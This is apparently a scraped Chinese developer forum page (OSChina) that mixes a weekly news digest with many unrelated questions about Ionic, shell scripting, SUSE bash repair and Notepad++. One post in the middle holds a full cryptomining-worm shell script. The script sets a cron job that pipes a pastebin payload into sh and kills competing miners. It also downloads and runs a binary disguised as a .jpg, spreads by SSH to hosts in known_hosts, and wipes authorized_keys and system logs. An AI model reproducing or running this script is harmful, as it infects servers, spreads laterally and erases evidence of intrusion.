HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
回顧一周社區(qū)熱門資訊與你的精彩留言 ~
第【十二】期:0119-0125
一周一問,你有什么見解?
有沒有一本書或教程,教你如何把一堆亂代碼逐步優(yōu)化成邏輯清晰,易讀,復用性高的代碼
來自: @ OSC_NVnHth
站內(nèi)需知
開源中國翻譯頻道貢獻 2018 年 11 & 12 月獎勵名單
精彩回復
from: Golang 1.11.5 和 1.10.8 版本發(fā)布
---
from: 黃圖鑒別工具 nsfw 首發(fā)
---
from: Ant Design 3.12.4 發(fā)布,企業(yè)級 UI 設計語言
---
from: 互聯(lián)網(wǎng)之父:互聯(lián)網(wǎng)有兩個與生俱來的問題
---
from: Wine 4.0 正式版發(fā)布,游戲玩家來試試怎么樣?
---
from: TypeScript 官方?jīng)Q定全面采用 ESLint
---
from: el-admin v1.5 發(fā)布,權限管理系統(tǒng)
---
from: 開源獨角獸公司 Confluent 獲1.25億美元D輪融資
---
from: 加碼對抗亞馬遜,微軟收購開源公司 CitusData
要聞 開源中國 2018 年度榜單之國產(chǎn)新秀榜 2018 年度新增開源軟件排行榜之國產(chǎn) TOP 50 開源中國 2018 新增開源軟件最受歡迎 TOP 50 開源智能手機 Librem 5 的通話和短信功能已初步完成 谷歌是 CNCF 開源項目最大貢獻者,紅帽次之 加碼對抗亞馬遜,微軟收購開源公司 CitusData Hacker News 2018 年度報告出爐 Swoole 2019 :化繁為簡、破繭成蝶 互聯(lián)網(wǎng)之父:互聯(lián)網(wǎng)有兩個與生俱來的問題 TypeScript 官方?jīng)Q定全面采用 ESLint Windows Core OS 包含了開源組件 2019 年 1 月已到,Java 8 要收費了嗎? TiDB 的數(shù)據(jù)遷移工具現(xiàn)已開源 谷歌聘請 macOS 老兵操盤新操作系統(tǒng) Fuchsia OS
大更新 D語言/dlang 2.084.0 發(fā)布,編譯時和運行時增強 MyBatis Spring Boot 2.0.0 發(fā)布 喧喧發(fā)布 2.4? 版本,新增消息撤銷、聊天輸入狀態(tài)顯示以及應用分享等功能 MyBatis 3.5.0 發(fā)布,Java 數(shù)據(jù)持久層框架 RocketMQ SpringBoot 項目 v2.0.1 版本發(fā)布 Proxy-Go v6.9 發(fā)布,單向 TLS , 獨立上級密碼支持! Wine 4.0 正式版發(fā)布,游戲玩家來試試怎么樣? 移動應用框架 Ionic 4 正式版發(fā)布:Ionic for Everyone Apache Kylin v2.6.0 正式發(fā)布,分布式分析引擎 Spring Cloud Greenwich.RELEASE 發(fā)布
>>>>>> 上期
【一周熱點】成功從 Windows 筆記本升級到 Mac | IDEA 已經(jīng)成年,該學會自己寫代碼了
歡迎關注問答版塊【主題廣場】的 【一周熱點】主題 。
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
混合App或者webApp怎么適配目前的劉海機型,比如華為P20 OPPOR15等,目前廠商給出的適配方案都是原生的,我們這個ionic項目怎么適配
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
如上面的圖,我怎樣選擇一個或多個??選中的時候,不改變圖片,可以只是改變背景色
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
ionic react-native和native開發(fā)移動app那個好 ?
移動端開發(fā)如何選型?這里介紹一下我眼中的ionic,react-native,native 三種移動端開發(fā)選型對比。 歡迎大家補充指正 一、 跨平臺特性
ionic :write once, run anywhere (一次開發(fā),隨處運行,學習成本低 會html css js就可以學會)不涉及到系統(tǒng)級的開發(fā)的話, 確實是一次開發(fā) 處處運行,如果涉及到系統(tǒng)級API調(diào)用以及項目配置(如 ios plist文件)則需要自己手動編寫cordova插件的方式達到效果(如:注冊文件的打開方式),當然,網(wǎng)上也有可能找到可以安裝的現(xiàn)成插件。 會html css js就可以學會 學習成本低 react-native:Learn once, write anywhere (一次學習,隨處開發(fā) )不涉及到與native混編的話, 統(tǒng)一js 進行開發(fā) 使用jsx 語法 確實能做到各端開發(fā), 但是需要針對iOS 和 android 開發(fā)兩套代碼。 native :使用原生java objective-c 開發(fā), 各玩各的,無法跨平臺。
二、開發(fā)方式 ionic :html + angularjs + css使用 html + angularjs 與網(wǎng)頁開發(fā)類似, 代碼只需要寫一次,就可以達到跨平臺效果 , 系統(tǒng)級的調(diào)用由cordova插件解決,封裝得相當好,簡單易用,特殊情況的自己動手編寫插件比較難,一般沒有需要手動編寫代碼插件的情況,網(wǎng)上有比 較多的插件可供下載安裝,可用flexbox布局。 調(diào)用方便(比如:要用攝像頭插件,只需要cordova plugin add camera,然后就可以用js調(diào)用原生攝像頭)
react-native :js + css 普通UI全程js開發(fā), 部分情況下需要使用與native混合的方式, 沒有統(tǒng)一的UI組件 ,ios組件較多,android組件較少 ,各自編寫js文件的情況較多 ,簡單空間和邏輯層可共用,基本上iOS和android是兩套代碼 ,可用flexbox布局。
native :java + oc|swift iOS android 不同語言開發(fā) 以及適配。
三、功能支持 ionic :編寫cordova插件,則能達到全部支持 原生能完成的功能 ionic結合cordova都可以實現(xiàn) UI交互 由Web實現(xiàn),系統(tǒng)級的交互 由 cordova實現(xiàn),目前 文件上傳下載,url跳轉(zhuǎn)以及文件打開方式 均已做驗證可實現(xiàn),cordova對系統(tǒng)級調(diào)用的支持比較好,涵蓋了大部分系統(tǒng)功能,如攝像頭,設備信息,電池,網(wǎng)絡等,不排除潛在不支持的問題。 react-native :與native 混編 可達到全部支持android高級組件可能需要自己實現(xiàn),系統(tǒng)級的功能可通過安裝第三方插件或者與native混編的方式實現(xiàn) ,基本上功能能完全實現(xiàn) native :全部支持 完全能實現(xiàn)四、性能對比
ionic : 雖然性能一直是html5在移動端的最大問題,但是ionic已經(jīng)做得非常出色了 ,在ios上基本上無法區(qū)分是否是原生app
android 通過優(yōu)化基本看不出和原生差別 ionic使用 ionic-native-transitions 調(diào)用原生專場基本看不出和原生區(qū)別 (適合android ios) android 2G內(nèi)存以上的手機看不出和原生差別,性能接近原生。 android 低配置的手機添加 crosswalk 插件以后 體驗較好,但是app打包偏大。程序運行內(nèi)存占用較大(網(wǎng)絡數(shù)據(jù)對比同款產(chǎn)品,內(nèi)存占用100+M) react-native :基本接近原生性能 js 到 native 需要經(jīng)過兩層橋接,性能與原生差別不大(網(wǎng)絡數(shù)據(jù)對比同款產(chǎn)品,內(nèi)存占用50 M) native:開發(fā)者水平很重要 性能最好 (網(wǎng)絡數(shù)據(jù)對比同款產(chǎn)品,內(nèi)存占用30 +M)總結:開發(fā)水平很重要,html開發(fā)的app可能比原生的更快。主要還看開發(fā)人員的水平以及會不會優(yōu)化
五、優(yōu)劣對比
ionic :
優(yōu)勢: ios 和 android 基本上可以共用代碼, 純web思維,開發(fā)速度快,簡單方便,一次編碼,到處運行,如果熟悉web開發(fā),則開發(fā)難度較低。 文檔很全,系統(tǒng)級支持封裝較好 ,所有UI組件都是有html模擬,可以統(tǒng)一使用。 可實現(xiàn)在線更新 允許加載動態(tài)加載web js 文檔多,開發(fā)者多 ,視頻教程多 容易學習 遇到問題容易解決 技術成熟
劣勢: 占用內(nèi)存高一些( 不過手機內(nèi)存都大了不影響 ),不適合做游戲類型app, web技術無法解決一切問題,對于比較耗性能的地方無法利用native的思維實現(xiàn)優(yōu)勢互補,如高體驗的交互,動畫等。
react-native : 優(yōu)勢: 1、 雖然不能做到一處編碼到處運行,但是基本上即使是 兩套代碼 ,也是相同的jsx語法, 使用js進行開發(fā)。用戶體驗,高于html,開發(fā)效率較高 2、flexbox 布局 據(jù)說比native的自適應布局更加簡單高效 可實現(xiàn)在線更新 2015.7.28 AppStore審核政策調(diào)整:允許運行于JavascriptCore的動態(tài)加載代碼 更貼近原生開發(fā) 劣勢: 1、(引) 對 開發(fā)人員要求較高,不是懂點web技術就行的 ,當官方封裝的控件、api無法滿足需求時 就必然需要懂一些native的東西去擴展,擴展性仍然遠遠不如web,也遠遠不如直接寫Native code。 2、 (引) 官方說得很隱晦:learn once, write anywhere。人家可沒說run anywhere 。事實上,從官方的api來看SliderIOS,SwitchIOS..等等這些控件,之后勢必會出現(xiàn) SliderAndroid,SwitchAndroid...,也就是很可能針對不同的平臺會需要寫多套代碼。 3、 發(fā)展還不成熟,目前很多ui組件只有ios的實現(xiàn),android的需要自己實現(xiàn)。 (引)從Native到Web,要做很多概念轉(zhuǎn)換,勢必造成雙方都要妥協(xié)。比如web要用一套CSS的閹割版,Native通過css-layout拿到 最終樣式再轉(zhuǎn)換成native原生的表達方式(比如iOS的Constraint\origin\Center等屬性),再比如動畫。另外,若 Android和iOS都要做相同的封裝,概念轉(zhuǎn)換就更復雜 5、文檔還不夠完整 學習曲線偏高 4. 文檔少 學習起來困難 native :
優(yōu)勢: 最好的體驗以及功能實現(xiàn)。 完善成熟的開發(fā)文檔以及demo。 劣勢: android開發(fā)學習曲線較高。 各個平臺分開開發(fā) 很難有iOS,android雙平臺高手。
開發(fā)成本高
來源: http://www.phonegap100.com/article-486-1.html
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
ionic開發(fā)的app正式版本,已經(jīng)簽名,但是還沒發(fā)布到應用平臺上(是通過掃碼下載的),自動更新功能在小米、魅族、oppo等手機上可以自動下載更新包后安裝新的版本,但是在華為上不能下載,有人知道原因么?
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
目前要做招商銀行一網(wǎng)通的支付,這個支付需要調(diào)用一網(wǎng)通特制的輸入鍵盤,他們給的案例里有原生的demo,demo中直接是activity獲取webview,然后調(diào)用了他們特定方法,我也嘗試這寫了插件,但是插件里獲取到webview之后不能調(diào)用webview的方法,原因貌似是不在同一個線程里.有沒有人知道?. |
---|
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
ionic中文社區(qū)群:65048636
注意:使用前請確保您已經(jīng)安裝部署好ionic環(huán)境
搭建綠色環(huán)境: Ionic_1.x 5分鐘快速搭建綠色開發(fā)環(huán)境
手動搭建環(huán)境: Ionic_2.x 手動搭建開發(fā)環(huán)境
有了ionic助手,再也不用手動輸入命令啦?,F(xiàn)在就來看看都能干什么吧。
先來看看界面(建議管理員運行助手 以免某些命令不能順利執(zhí)行)
1.啟動程序(點擊查看大圖)
2.打開項目
3.快捷啟動
注意:“預覽模式”是ionic serve支持同步刷新,邊改邊看,支持同時打開多個, “在瀏覽器打開”是助手自建服務器,非serve命令,可以用于快速預覽。
4.中文文檔
中文ngCordova插件(并已分類好) 點擊勾選前面的選擇框就可以“添加/移除”插件 右鍵還可以查看中文網(wǎng)獨家翻譯,中文ngCordova參考文檔
5.簡單介紹
一鍵“添加/移除”平臺,一鍵“添加/移除”Crosswalk web引擎,一鍵“編譯/運行”應用
一鍵 修改主題配色 如非必要建議修改SASS文件,編譯,一鍵 修改項目圖標,一鍵 修改啟動屏幕,一鍵“添加/移除”插件 查看ngCordova中文文檔
6.特色介紹
添加ngCordova,助手是從github下載js添加到項目目錄不是執(zhí)行bower命令,所以不需要安裝bower/git。
集成Ruby,SASS編譯功能。,可以直接選擇zip插件包,助手會幫你解壓/安裝。
7.主題配色
8.創(chuàng)建項目
9.預覽模式
10.項目信息
11.視圖參數(shù)
12.系統(tǒng)設置
命令音效-在執(zhí)行完某些命令后播放音效提示,可以用逗號分割區(qū)別多個命令 設置用于打開的瀏覽器,同時作用于預覽模式和瀏覽器模式不設置則使用默認瀏覽器 設置用于打開項目的程序 如sublime、webstorm等。 可以指定綠色版nodejs路徑無需設置系統(tǒng)path 可以指定綠色版androidsdk路徑無需設置系統(tǒng)path
13.路由導航
路由導航讀取項目內(nèi)路由可以快速導航到路由頁面(注意:標題是讀取view-title屬性)
14.APK簽名打包
使用中遇到任何問題請下方留言或者站內(nèi)信通知我
下載地址:
由于用了很多敏感操作,創(chuàng)建\讀取\修改文件\cmd命令,所以"可能"被殺軟報毒,請放心使用。如果360報毒請通知我們,我們會提交給360工作人員審核
百度下載 城通網(wǎng)盤 由于360關閉個人云轉(zhuǎn)存服務故關閉360下載鏈接,需要其它下載方式可以加群65048636下載群共享文件
V1.9.0 2016-11-28
1.新增功能-預覽窗口路由導航讀取項目內(nèi)路由可以快速導航到路由頁面(注意:標題是讀取view-title屬性)
2.新增功能-APK打包簽名功能(注意:需要安裝JDK)
3.新增功能-uglifyjs壓縮(關于angular壓縮相關事項請到社區(qū)查詢)
4.新增功能-多開提示(防止無意中打開多個助手)
5.功能修復-預覽窗口標記驗證(解決偶爾第一次打開無法打開頁面問題)
6.功能修復-打開APK按鈕有時無法打開APK文件夾問題
7.功能修正-通過托盤還原的懸浮窗口會置頂(用來處理通過系統(tǒng)顯示桌面無法還原的懸浮窗口)
V1.8.6 2016-11-07
1.新增功能-預覽窗口局部熱鍵Ctrl+R,Ctrl+1,Ctrl+2,Ctrl+3對應刷新本頁,1x窗口,2x窗口,3x窗口
2.新增功能-現(xiàn)在可以將項目拖動到懸浮窗口以加入項目
3.新增功能-懸浮窗口右鍵增加預覽窗口管理可以顯示隱藏預覽窗口
4.新增功能-懸浮窗口打開預覽窗口后會增加角標顯示預覽窗口的數(shù)量
5.新增功能-所有右鍵菜單增加了圖標
6.功能修改-預覽窗口在瀏覽器打開改為以當前路徑打開
7.問題修正-預覽窗口局部Ctrl+T熱鍵為全局問題
8.問題修正-字體比例現(xiàn)在和Chrome一致
9.問題修正-助手彈出腳本錯誤
10.問題修正-某些項目無法正確獲取視圖參數(shù)
11.問題修正-修改項目圖標啟動屏幕命令改為指定android平臺
V1.8.0 2016-09-18
更新版本改為 x.x.x
重大更新.功能更新.功能修復
1.增加-預覽模式窗口(支持同步刷新,邊改邊看,支持同時打開多個)
2.增加-SCSS編譯功能(集成ruby)
3.增加-安裝本地插件功能可以下載zip插件包直接安裝
4.增加-項目信息設置項目描述、包描述修改(并且直接支持讀入輸入中文漢字)
(注意:如果你需要使用phonegap預覽項目則不要使用中文項目名phonegap只識別英文)
5.增加-視圖參數(shù)設置(可以設置啟動屏幕淡入淡出啟動屏幕持續(xù)時間等..)
6.增加-新版本提示(軟件啟動時檢測如果有新版本將提示)
7.增加-設置nodejs運行環(huán)境路徑(默認使用系統(tǒng)可以指定綠色版nodejs路徑)
8.增加-設置androidsdk運行環(huán)境路徑(默認使用系統(tǒng)可以指定綠色版androidsdk路徑)
9.增加-常用命令快捷輸入(在"執(zhí)行"按鈕上右鍵將彈出快捷命令菜單)
10.修改-懸浮窗口默認在右上角顯示
11.修改-呼出的默認熱鍵改為Ctrl+~
12.修改-現(xiàn)在關閉程序默認最小化(可以在設置中修改為退出程序)
13.修正-項目目錄路徑內(nèi)不能有"."的問題(現(xiàn)在可以加入文件夾名如xxx.xx的項目)
14.諸多細節(jié)修改..
V1.7 2016-04-07
1.修改顏色增加了16進制顏色
2.改良了服務器穩(wěn)定性
3.增加了錯誤提示文本,大家可以自行修改。更多錯誤請?zhí)峤坏缴鐓^(qū),社區(qū)將統(tǒng)一整理,方便大家。
4.微調(diào)窗口高度
5.錯誤提示改為紅色
6.服務器返回正常圖片響應協(xié)議頭
V1.6 2016-03-22
1.增加了HTTP響應協(xié)議頭使其項目可以在firefox、IE中打開(之前不能)
2.現(xiàn)在打開瀏覽器頁更改為遍歷目錄下二級目錄找到index.html打開之前是直接打開www目錄下index老版ionic項目可能是其它文件夾
3.補全了參考文檔的鏈接
V1.5 2016-03-10
小更新可以不升級,敬請期待2.0
1.修復了一個bug導致紅字有時不能正常清除顏色標記
2.現(xiàn)在雙擊插件直接打開中文文檔網(wǎng)頁(現(xiàn)已補全除無法使用的插件外的全部文檔)
3.一些小修改
V1.4 2016-02-23
1.增加了呼出熱鍵、命令音效(執(zhí)行命令后播放音效,不要小看這個非常好用)、現(xiàn)在可以設置用于打開的瀏覽器和直接用程序打開項目。
2.改良了服務器現(xiàn)在可以同時在瀏覽器打開多個項目
3.去除了雜亂信息
V1.2 2016-02-17
1.增加了用應用程序打開 在打開-設置里你可以設置sublime或者其他編輯器exe直接打開文件夾
2.控制臺可以放大供更多信息查看、增加錯誤紅字顯示、增加錯誤提示
(請大家積極提交錯誤 讓助手錯誤提示更豐富)
3.增加了非文件夾類型文件的打開提示(某些朋友可能誤打開快捷方式)
V1.0 2016-02-4
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
Ionic2僅main.js運行時間10s+,有誰遇到過嗎?有優(yōu)化方案嗎?
Crosswalk:這個插件使用后沒有什么區(qū)別,還是10s+;
騰訊 x5 webview:集成進去沒有啥用處;
很多人Blog上說優(yōu)化代碼,這玩意真不知道從何弄起,求大神提供思路,謝謝了
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
ionic開發(fā)ios時 iframe引入表單,個別select點擊后會頁面閃爍。變空白
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
本人參與開發(fā)了一款類似同城的北美黃頁信息平臺,由于這邊相對專業(yè)人士較少,希望能夠獲得一些大神在APP功能,結構或優(yōu)化上給些建議與想法。歡迎感興趣人士加我QQ 147425336 附上app截圖
IOS地址 https://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=1087648485&mt=8
Android地址 https://play.google.com/store/apps/details?id=com.my50411.app
歡迎體驗。
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
1. navigator. lycToast.showToast();
2. document.addEventListener( 'deviceready' , function () {
var extraInfo = cordova.require( 'com.lyc.toast.LycToastPlugin' );
console.log(extraInfo);
extraInfo.showToast();
});
以上兩種方式都會報錯!lycToast is not defined ,真機調(diào)試也報錯
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
打印結果 -pass 123456ses -type ORACLE -addr 127.0.0.1
求大神告知,為何databaseParameter打印的結果后面的字符串為何把前面的覆蓋掉了?
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
我注釋掉了 但$n還是 生效
不輸入?yún)?shù)就報錯
運行 -這個.sh文件 沒有其他代碼的情況下 , 只有帶參數(shù) 才不會報錯
不能能注釋掉嗎
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
學linux為什么還要分學哪個發(fā)行版?不是都用BASH嗎?xwindow也有很大區(qū)別嗎?
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libntp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns
chkconfig --del kworker
chkconfig --del netdns
p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
if [ ${p} -eq 0 ];then
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
if [ -e "/tmp/gates.lod" ]; then
rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
kill -9 $(cat /tmp/gates.lod)
rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
kill -9 $(cat /tmp/moni.lod)
rm -rf /tmp/{gates,moni}.lod
fi
if [ ! -f "/tmp/.lsdpid" ]; then
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL http://thyrsi.com/t6/672/1550632834x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632834x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
else
(curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
fi
nohup /tmp/watchdogs >/dev/null 2>&1 &
elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL http://thyrsi.com/t6/672/1550632834x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632834x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
else
(curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
fi
nohup /tmp/watchdogs >/dev/null 2>&1 &
fi
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
fi
echo 0>/root/.ssh/authorized_keys
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
從服務器A上傳文件到服務器B,使用SFTP命令封裝腳本,如果在上傳文件后判斷文件上傳狀態(tài)是成功還是失敗呢?
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
我想獲取一個字符串的長度如:“kke你好”
用`expr length`總是獲取不正確,有沒有更好的方法?
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>> 今天在做suse的bash 升級的時候,剛開始是用一個tar包,執(zhí)行完成后發(fā)現(xiàn)版本是我安裝的版本,但用bash漏洞檢測的時候發(fā)現(xiàn)輸出還是不對。 然后又在網(wǎng)上找了一個rpm包進行安裝,剛開始安裝的時候提示說有依賴關系,然后就強制安裝上了。 安裝上后剛開始發(fā)現(xiàn)直接無法登錄,但可以通過其他的服務器跳轉(zhuǎn)。 后來在操作中不知咋的,自己就斷開連接了,在等就無法登錄了 提示如下錯誤: -bash: error while loading shared libraries: libreadline.so.6: cannot open shared object file: No such file or directory
現(xiàn)在初步懷疑可能是最后強制安裝的一個rpm包有關系,想把那個包給卸載了。 問題是: 1、無法通過其他的服務器跳轉(zhuǎn)到該服務器; 2、在服務器上直接登錄也不行; 目前系統(tǒng)版本是: SUSE LINUX enterprise 11 64bit 現(xiàn)在有個想法就是把服務器重新啟動,然后進入單用戶模式下,不知道能否操作。 請各位高手幫幫忙,不然就要失業(yè)了。。。
本人是第一次接觸suse系統(tǒng),請各位高手不吝賜教。
目前最大的問題就是無法登錄系統(tǒng)操作界面,并且遠程也無法連接。
連接就報錯:
-bash: error while loading shared libraries: libreadline.so.6: cannot open shared object file: No such file or directory
直接在服務器上輸入用戶名和密碼后 點擊登錄,屏幕就閃一下,然后又回到了輸入用戶名和密碼的界面。
使用的是這個包
bash-4.2-68.4.1.x86_64.rpm
安裝方法是:
rpm -Uvh bash-4.2-68.4.1.x86_64.rpm --nodeps --force
然后就無法登錄了。
就報上沒的錯誤。
目前想在救援模式下進行rpm的更新,但發(fā)現(xiàn)無法安裝(在測試上試過linux的,linux下是可以進行安裝的,不知道suse和linux是不是有很大的區(qū)別)
救援模式下的rpm安裝
救援模式下的磁盤信息
救援模式下的掛載信息
現(xiàn)在不知道還有什么方法能卸載或者重新安裝bash的rpm包
注意:現(xiàn)在是沒法正常登陸系統(tǒng)的,系統(tǒng)重啟后就一直停留在(none):這個界面,然后即使輸入正確的用戶名和密碼,提示登陸成功,但有個-bash:error的錯誤,一直無法進入系統(tǒng)。目前只能進入到救援模式下。
我也試過系統(tǒng)修復,但修復后效果一樣的,一直都無法進入。
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
在做后臺任務的時候,如果任務完成, 想要用命令行的方式,在桌面右上角產(chǎn)生一個桌面通知。
不知道怎么用shell/cli 的方式做到?
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
寫了一個windows平臺部署maven工程到 linux服務器的工具,各位大神提提意見唄
https://github.com/tj123/auto-deploy-maven-project-gui
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>> 由于每次編程都要在vim中輸入完整的文件路徑打開相應文件。 當需要編輯文件較多時比較繁瑣,所以想通過shell腳本一次打開多個經(jīng)常使用的文件。正常在vim中打開文件方法如下: vim test.cpp 后面的文件通過下面的命令在不同選項卡中打開 :tab split test1.cpp 如何通過shell 腳本實現(xiàn)上面的功能呢? vim test.cpp test1.cpp 上面的代碼在不同的窗口中打開了文件,沒有在同一個選項卡中打開。 vim test.cpp : tab split test1.cpp 如果上面的代碼能夠直接在shell 中實現(xiàn)就好了, 可惜行不通, 各位可以幫幫我嗎?
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>> function install_yj{ cd ${BUILD} if [ ! -f gmp-6.0.0a.tar.xz ];then wget http://ftp.gnu.org/gnu/gmp/gmp-6.0.0a.tar.xz fi if [ ! -f mpfr-3.1.3.tar.xz ];then wget http://ftp.gnu.org/gnu/mpfr/mpfr-3.1.3.tar.xz fi if [ ! -f mpc-1.0.3.tar.gz ];then wget http://ftp.gnu.org/gnu/mpc/mpc-1.0.3.tar.gz fi if [ ! -f isl-0.15.tar.bz2 ];then wget ftp://gcc.gnu.org/pub/gcc/infrastructure/isl-0.15.tar.bz2 if [ ! -f cloog-0.18.4.tar.gz ];then wget http://www.bastoul.net/cloog/pages/download/count.php3?url=./cloog-0.18.4.tar.gz mv count.php3?url=.%2Fcloog-0.18.4.tar.gz cloog-0.18.4.tar.gz fi if [ ! -f libelf-0.8.13.tar.gz ];then wget http://www.mr511.de/software/libelf-0.8.13.tar.gz fi }
以上是shell腳本函數(shù)的一部分,關于執(zhí)行這部分函數(shù)出現(xiàn):`}' 附近有語法錯誤
而刪除二個if判斷語句就沒有問題,誰能解釋下嗎?
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
遇到一個奇怪的問題請諸位幫忙參考:
我這段腳本,單獨執(zhí)行腳本,正常獲得主機ip和磁盤空間使用情況,使用 corn 調(diào)度的,便無法拿到 ip ,收到郵件 ip 為空
想不通原因,勞煩幫忙看看,謝謝
#!/bin/bash ip=$(ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}') dev_name='/dev/sda3' fTitle='【磁盤常規(guī)通報】' let per=`df -h $dev_name | grep -v ^File | awk '{printf ("%i",$5); }'` echo -e "$fTitle \n\n 您關心的\n主機:$ip \n磁盤:$dev_name \n已經(jīng)使用:$per% \n" | mail -s "磁盤常規(guī)通報" mail_address@domain.com
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>> 用PERL編了一個小程序(也可用Bash shell),利用捕獲用戶的輸入。想實現(xiàn)如果在一定時間內(nèi)用戶無輸入則退出,否則程序繼續(xù)運行,怎么作呢?無頭緒,哪位能幫一下呀?先謝過了。
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
有哪位高人知道shell中怎么做表格嗎?像下面這樣的表格,我現(xiàn)在用shell計算一個結果,想以這種表格的形式展示。在谷歌上搜了也沒結果
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>> 我的notepad++無法安裝任何插件,總是提示 installation of ** failed.,重裝Notepad++也無法解決。請問各位有沒有解決方案?謝謝各位了 (系統(tǒng)是win10企業(yè)版)
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
notepad++打開plugin manager,選中插件后點擊install安裝,就會提示 此錯誤信息,多次重裝也無效果,請幫忙看看,謝謝!
操作系統(tǒng):win10 64位
HDC調(diào)試需求開發(fā)(15萬預算),能者速來!>>>
